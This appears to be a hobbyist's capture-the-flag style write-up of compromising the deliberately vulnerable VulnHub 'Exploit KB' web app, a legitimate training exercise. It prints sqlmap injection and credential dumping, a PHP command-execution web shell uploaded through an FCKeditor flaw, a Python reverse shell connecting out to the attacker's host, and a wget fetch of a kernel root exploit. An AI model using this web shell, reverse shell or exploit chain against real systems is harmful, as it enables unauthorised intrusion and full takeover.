Exploit KB Vulnerable web app

Today we are setting our sights on the Exploit KB Vulnerable web app machine posted here on vulnhub.com. This is an extremely vulnerable box so don’t be dumb and put it on a production network or something.

First thing first we need to know what all is running so I fired off both nmap and nikto to see what they could find.

root@kali:~# nmap -sV victim

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-15 14:40 EST
Nmap scan report for victim
Host is up (1.3s latency).
Not shown: 997 closed ports
22/tcp  open  ssh     OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.14 ((Ubuntu))
443/tcp open  https
1 service unrecognized despite returning data.
root@kali:~# nikto -host victim
- Nikto v2.1.6
+ Target IP:          removed
+ Target Hostname:    victim
+ Target Port:        80
+ Start Time:         2018-01-15 14:38:57 (GMT-5)
+ Server: Apache/2.2.14 (Ubuntu)

While those scans were running I was poking around on the actual page and noticed that all the dynamic links to items used ?id=# so I loaded up sqlmap as well to try and see if it was vulnerable. (I bet it is)

root@kali:~# sqlmap -u http://victim/newspage.php?id=1
 ___ ___[)]_____ ___ ___  {1.1.12#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:44:47
[14:45:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

As expected we are able to inject via the ID parameter so lets see if we can get useful information out of it. Running with the --dbs argument we can try to get a list of the available databases.

root@kali:~# sqlmap -u http://victim/newspage.php?id=1 --dbs
available databases [4]:                                                      
[*] exploit
[*] information_schema
[*] mysql
[*] phpmyadmin

Nice so now lets target the exploit database and see what it contains using the  --tables -D exploit args.

root@kali:~# sqlmap -u http://victim/newspage.php?id=1 --tables -D exploit
Database: exploit
[8 tables]
| articles                              |
| authors                               |
| category                              |
| downloads                             |
| links                                 |
| members                               |
| news                                  |
| videos                                |

Digging further lets check the members to see what we find in there with  --tables -D exploit -T members.

root@kali:~# sqlmap -u http://victim/newspage.php?id=1 --tables -D exploit -T members
Database: exploit                                                              
[8 tables]
| articles  |
| authors   |
| category  |
| downloads |
| links     |
| members   |
| news      |
| videos    |

Let’s dump the members and see what all we find.  --dump -D exploit -T members

Database: exploit                                                              
Table: members
[3 entries]
| id | username | password |
| 1  | admin    | P@ssw0rd |
| 2  | r00t     | 1qa2ws   |
| 3  | editor   | q1w2e3r4 |

Plaintext password storage is a bad idea but with this we now have access to login to the webapp. That said, looking back at the nikto scan we could have just waited and saved ourselves some time.

+ OSVDB-3268: /database/: Directory indexing found.
+ OSVDB-3093: /database/: Databases? Really??

Because it actually found a copy of the .db file on the web server which contains all the information we just pulled out in a handy little plaintext file.

Oh well, more than one way to reach out goal which is kinda the point.

hmmmm, fun.

With this information we are able to login to the admin panel located at /admin/login.php (also found by the nikto scan)

After logging in we are greeted with a pretty standard admin control panel, we can add/remove/edit articles, tutorials etc. My expectation was that we would be able to simply insert into one of the pages some php shell_exec code to try and own the box but this turned out to not be the case. The admin page is using the FCKeditor which filters all the funs stuff. That said it is an imperfect tool with a lot of extra features that aren’t really needed especially in a setup like this.

A search of exploit-db shows a ton of arbitrary file upload vulnerabilities. The problem I ran into is that that with this install some of the extra uploading functions are gone. So I originally found FCKEditor 2.0 < 2.2 - 'FileManager connector.php' Arbitrary File Upload this needed a bit of code tweaking to actually work but I was able to get arbitrary file upload.

$pAcKeT="POST ".$path."editor/filemanager/browser/default/connectors/php/";

update to

$pAcKeT="POST ".$path."editor/filemanager/connectors/php/";

This uploads a random file “suntzu###.php” in the /uploads/file folder. I was getting the PHP info but wasn’t getting anything back from the command injection it has. This could very likely be user error but even subsequent attempts after having rooted box using commands I knew worked were unsuccessful.

The working solution I found was actually a whole hell of a lot easier. Knowing that I could upload and that there are numerous bugs with how the editor handled files I started looking through the directory tree (its not protected) and found /admin/fckeditor/editor/filemanager/connectors/uploadtest.html From this page we can upload any file so long as the extension matches whatever filter we have set. So naturally I uploaded a php shell to test it out super fancy code below.

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Our file is located at /uploads/shell.php and we simply need to feed it whatever bash command we need with ?cmd=<command> starting with something simple an ls -al gives us proof it is all working.

It was at this point that I wasted a ton of time discovering that netcat isn’t installed on the box which in hindsight is really smart for a random vulnerable box on the internet. However that’s not the only way to get shell. Insert the code I found on Pentestmonkey.net on their cheatsheet. I tested that python was working and available with ?cmd=python -h and it threw me the python help menu so we are good.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("attackbox",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Setup my listener and hit go.

root@attackbox:~$ nc -lvp 4444
Listening on [] (family 0, port 4444)
Connection from [victim] port 4444 [tcp/*] accepted (family 2, sport 46458)
bash: no job control in this shell
www-data@exploit:/var/www/uploads$ whoami
www-data@exploit:/var/www/uploads$ uname -a
uname -a
Linux exploit 2.6.32-24-generic-pae #39-Ubuntu SMP Wed Jul 28 07:39:26 UTC 2010 i686 GNU/Linux

We now have shell access to the box, not root yet but that shouldn’t be a problem. We know the version of the kernel so we just need to find some working exploits and we should be golden.

*****Enter this glorious git*****

This has code and even compiled binaries for a large number of linux exploits, it immediately went into my bookmark list. Searching the page for the kernel we received give us “2.6.32-24-generic-pae” which just so happens to be vulnerable to RDS code in hand I compiled on my attackbox and put it in the webroot of my attackbox (running apache) so I should be able grab it with the reverse shell

www-data@exploit:/var/www/uploads$ wget attackbox/rds
wget attackbox/rds
--2018-01-15 22:15:15--  http://attackbox/rds
Connecting to attackbox... connected.
HTTP request sent, awaiting response... 200 OK
Length: 582477 (569K)
Saving to: `rds'
2018-01-15 22:15:16 (842 KB/s) - `rds'
saved [582477/582477]

Now we should simply be able to run the code and have root access.

We have full access to the box! This was a lot of fun, the first box that I was able to root myself without following someones guide or getting far more help than I should… so really feeling accomplished. I wasted a lot of time on a few steps but overall it was good as I was still learning as I stumbled around.

So to recap major things I learned rooting this box.

  • Netcat has been a crutch of mine up to this point. Was good to find a box without it.
  • Work smarter not harder, the uploadtest file should have been obvious
  • I was able to successfully tweak a script to get it working for this box, while ultimately fruitless was worth the time
  • Thanks for reading and as always comments or tips on how I could have done things more efficiently are always welcome.

    Leave a Reply

    Your email address will not be published. Required fields are marked *